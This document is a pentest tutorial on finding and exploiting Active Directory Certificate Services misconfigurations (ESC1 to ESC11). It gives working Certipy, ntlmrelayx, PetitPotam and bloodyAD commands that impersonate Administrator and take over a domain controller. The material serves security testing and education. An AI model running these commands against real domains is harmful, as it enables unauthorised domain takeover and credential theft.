ADCS Enumeration and Overview

Enumerate Active Directory Certificate Services, find CAs, list templates, identify misconfigurations, and understand ESC vulnerability classes. Covers Certipy, Certify, and manual LDAP enumeration.

Sections ADCS Enumeration and Overview

You have domain credentials and want to check if ADCS is deployed and misconfigured. Certificate Services misconfigurations are some of the most impactful findings in AD pentesting because they often provide direct paths to domain compromise that survive password resets and krbtgt rotations.


ADCS Architecture

ADCS consists of one or more Certificate Authorities (CAs) that issue certificates based on certificate templates. Templates define who can request certificates, what the certificate can be used for, and what subject information is included. Misconfigurations in templates, CA permissions, and web enrollment services create the ESC (Escalation) vulnerability classes.


Enumeration with Certipy

Certipy is the primary tool for ADCS enumeration and exploitation from Linux.

terminal
# Full ADCS enumeration (finds CAs, templates, and vulnerabilities)
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35

# Output as text (easier to read)
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -text

# Only show vulnerable templates
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable

# Output to stdout
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout

# With Kerberos auth
root@localhost:~# export KRB5CCNAME=/tmp/svc_backup.ccache
root@localhost:~# certipy find -u svc_backup@corp.local -k -no-pass -dc-ip 10.10.11.35
Certipy’s -vulnerable flag filters output to only show templates and CAs with known ESC vulnerabilities. Always run the full find first for a complete picture, then use -vulnerable for a quick summary.

Enumeration with Certify (Windows)

powershell
# Find all CAs and templates
PS C:\> .\Certify.exe find

# Find vulnerable templates
PS C:\> .\Certify.exe find /vulnerable

# Find templates for a specific CA
PS C:\> .\Certify.exe find /ca:CORP-DC01-CA

# Find templates the current user can enroll in
PS C:\> .\Certify.exe find /enrolleeSuppliesSubject

# List CAs
PS C:\> .\Certify.exe cas

# Check CA permissions
PS C:\> .\Certify.exe find /showAllPermissions

Manual LDAP Enumeration

When Certipy and Certify are not available, query LDAP directly.

Find Certificate Authorities

terminal
# Enrollment Services (CAs that issue certificates)
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=pKIEnrollmentService)" cn dNSHostName certificateTemplates

# Certification Authorities
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=certificationAuthority)" cn

Find Certificate Templates

terminal
# All templates
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=pKICertificateTemplate)" \
  cn displayName msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag pKIExtendedKeyUsage msPKI-RA-Signature

# Templates that allow the enrollee to supply the subject (SANs)
# msPKI-Certificate-Name-Flag with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1) set
root@localhost:~# ldapsearch -x -H ldap://10.10.11.35 -D "svc_backup@corp.local" -w 'P@ssw0rd123' \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.803:=1))" \
  cn displayName

Windows (PowerShell)

powershell
# List all CAs
PS C:\> certutil -config - -ping

# List templates on a specific CA
PS C:\> certutil -CATemplates -config "dc01.corp.local\CORP-DC01-CA"

# Detailed template info
PS C:\> certutil -v -dsTemplate

# Check web enrollment
PS C:\> certutil -config "dc01.corp.local\CORP-DC01-CA" -ping

NetExec ADCS Module

terminal
root@localhost:~# netexec ldap 10.10.11.35 -u svc_backup -p 'P@ssw0rd123' -M adcs

ESC Vulnerability Classes

Each ESC class represents a different misconfiguration pattern. Here is what each one is, how to detect it, and the general exploitation approach.

ESC1: Misconfigured Certificate Template (Enrollee Supplies Subject)

The template allows the requester to specify a Subject Alternative Name (SAN). An attacker can request a certificate as any user, including Administrator.

Conditions:

  • ENROLLEE_SUPPLIES_SUBJECT flag set in msPKI-Certificate-Name-Flag
  • Template allows client authentication (EKU contains Client Authentication or Smart Card Logon)
  • Low-privileged users have enrollment rights
  • Manager approval not required
terminal
# Certipy - find ESC1 templates
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout | grep -A 20 "ESC1"

# Exploit - request cert as Administrator
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35

# Authenticate with the certificate
root@localhost:~# certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35

ESC2: Misconfigured Template (Any Purpose or No EKU)

The template has the Any Purpose EKU or no EKU at all, making the certificate usable for anything including client authentication.

terminal
# Same exploitation as ESC1 if ENROLLEE_SUPPLIES_SUBJECT is also set
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template AnyPurposeTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35

ESC3: Enrollment Agent Template Abuse

A template is configured as an enrollment agent, allowing a user to enroll on behalf of other users.

terminal
# Step 1: Request an enrollment agent certificate
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template EnrollmentAgent -dc-ip 10.10.11.35

# Step 2: Use the enrollment agent cert to request a cert on behalf of Administrator
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -on-behalf-of 'corp\Administrator' -pfx enrollment_agent.pfx -dc-ip 10.10.11.35

ESC4: Vulnerable Template ACL

You have write access to a certificate template object. Modify the template to make it vulnerable (add ENROLLEE_SUPPLIES_SUBJECT, add Client Authentication EKU, add your enrollment rights).

terminal
# Modify the template to be ESC1-vulnerable
root@localhost:~# certipy template -u svc_backup@corp.local -p 'P@ssw0rd123' -template VulnTemplate -save-old -dc-ip 10.10.11.35

# Exploit as ESC1
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.11.35

# Restore the original template
root@localhost:~# certipy template -u svc_backup@corp.local -p 'P@ssw0rd123' -template VulnTemplate -configuration VulnTemplate.json -dc-ip 10.10.11.35

ESC5: Vulnerable PKI Object ACLs

ACL misconfiguration on PKI objects other than templates (CA server object, RootCA object, etc.). Exploitation varies by which object you can write to.

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any requester to add a SAN to their certificate request regardless of the template configuration.

terminal
# Check for the flag
root@localhost:~# certipy find -u svc_backup@corp.local -p 'P@ssw0rd123' -dc-ip 10.10.11.35 -vulnerable -stdout | grep "EDITF_ATTRIBUTESUBJECTALTNAME2"

# Exploit - request any template with a SAN
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -upn Administrator@corp.local -dc-ip 10.10.11.35

ESC7: Vulnerable CA ACL

You have the ManageCA or ManageCertificates right on the CA. With ManageCA, you can enable ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2) on the CA. With ManageCertificates, you can approve pending certificate requests.

terminal
# If you have ManageCA, enable EDITF_ATTRIBUTESUBJECTALTNAME2
root@localhost:~# certipy ca -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2 -dc-ip 10.10.11.35

# Then exploit as ESC6
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template User -upn Administrator@corp.local -dc-ip 10.10.11.35

# If you have ManageCertificates, request with manager approval then approve it yourself
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -template ApprovalRequired -upn Administrator@corp.local -dc-ip 10.10.11.35
root@localhost:~# certipy ca -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -issue-request <request-id> -dc-ip 10.10.11.35
root@localhost:~# certipy req -u svc_backup@corp.local -p 'P@ssw0rd123' -ca CORP-DC01-CA -retrieve <request-id> -dc-ip 10.10.11.35

ESC8: NTLM Relay to Web Enrollment

The CA has HTTP-based web enrollment enabled. Relay NTLM authentication to the enrollment endpoint to request a certificate as the relayed user.

terminal
# Check for web enrollment
root@localhost:~# curl -s -o /dev/null -w "%{http_code}" http://ca01.corp.local/certsrv/

# Relay to ADCS
root@localhost:~# impacket-ntlmrelayx -t http://ca01.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Coerce a DC
root@localhost:~# python3 PetitPotam.py -u svc_backup -p 'P@ssw0rd123' -d corp.local 10.10.14.5 10.10.11.35

# Authenticate with captured certificate
root@localhost:~# certipy auth -pfx dc01.pfx -dc-ip 10.10.11.35

ESC9 and ESC10: Name Constraints and Weak Certificate Mapping

ESC9 abuses CT_FLAG_NO_SECURITY_EXTENSION in the template when StrongCertificateBindingEnforcement is set to 1 (not 2). ESC10 abuses weak certificate mapping when CertificateMappingMethods includes UPN mapping.

terminal
# ESC9 - requires GenericWrite on a target user
root@localhost:~# certipy shadow auto -u svc_backup@corp.local -p 'P@ssw0rd123' -target targetuser -dc-ip 10.10.11.35

# ESC10 - modify the target user's UPN, request a cert, restore UPN
# Step 1: Change target UPN to Administrator
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser userPrincipalName -v "Administrator@corp.local"
# Step 2: Request certificate as targetuser (which now has Administrator's UPN)
root@localhost:~# certipy req -u targetuser@corp.local -p 'TargetPass123' -ca CORP-DC01-CA -template User -dc-ip 10.10.11.35
# Step 3: Restore UPN
root@localhost:~# bloodyAD -d corp.local -u svc_backup -p 'P@ssw0rd123' --host 10.10.11.35 set object targetuser userPrincipalName -v "targetuser@corp.local"
# Step 4: Auth with the cert (maps to Administrator)
root@localhost:~# certipy auth -pfx targetuser.pfx -dc-ip 10.10.11.35

ESC11: NTLM Relay to ICPR (RPC Enrollment)

Similar to ESC8, but targets the RPC-based certificate enrollment endpoint instead of HTTP when the CA does not enforce encryption.

terminal
# Relay to the CA's RPC interface
root@localhost:~# certipy relay -ca ca01.corp.local -template DomainController
# Then coerce authentication to your listener

ESC Quick Reference

ESC Condition Impact Requires
ESC1 Enrollee supplies subject + Client Auth EKU Impersonate any user Enrollment rights
ESC2 Any Purpose/No EKU + enrollee supplies subject Same as ESC1 Enrollment rights
ESC3 Enrollment agent template Enroll on behalf of others Enrollment agent cert
ESC4 Write access to template Modify template to ESC1 WriteProperty on template
ESC5 Write access to PKI objects Varies WriteProperty on CA/PKI objects
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 enabled SAN on any request Enrollment rights
ESC7 ManageCA/ManageCertificates on CA Enable ESC6 or approve requests CA ACL rights
ESC8 HTTP web enrollment Relay NTLM for cert Network position
ESC9 No security extension flag Bypass cert mapping GenericWrite on user
ESC10 Weak certificate mapping UPN substitution GenericWrite on user
ESC11 Unencrypted RPC enrollment Relay NTLM for cert Network position
ESC1 and ESC8 are the most commonly exploited in real engagements. ESC1 because many organizations have misconfigured templates, and ESC8 because web enrollment is frequently enabled and rarely monitored. Always check for both first.

Certificate Authentication

Once you have a certificate (from any ESC), authenticate with it.

# Certipy auth (gets NT hash via PKINIT)
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.35

# PKINITtools
python3 gettgtpkinit.py corp.local/Administrator administrator.ccache -cert-pfx administrator.pfx
export KRB5CCNAME=administrator.ccache

# Use the TGT or recovered NT hash for further access
impacket-psexec corp.local/Administrator@dc01.corp.local -k -no-pass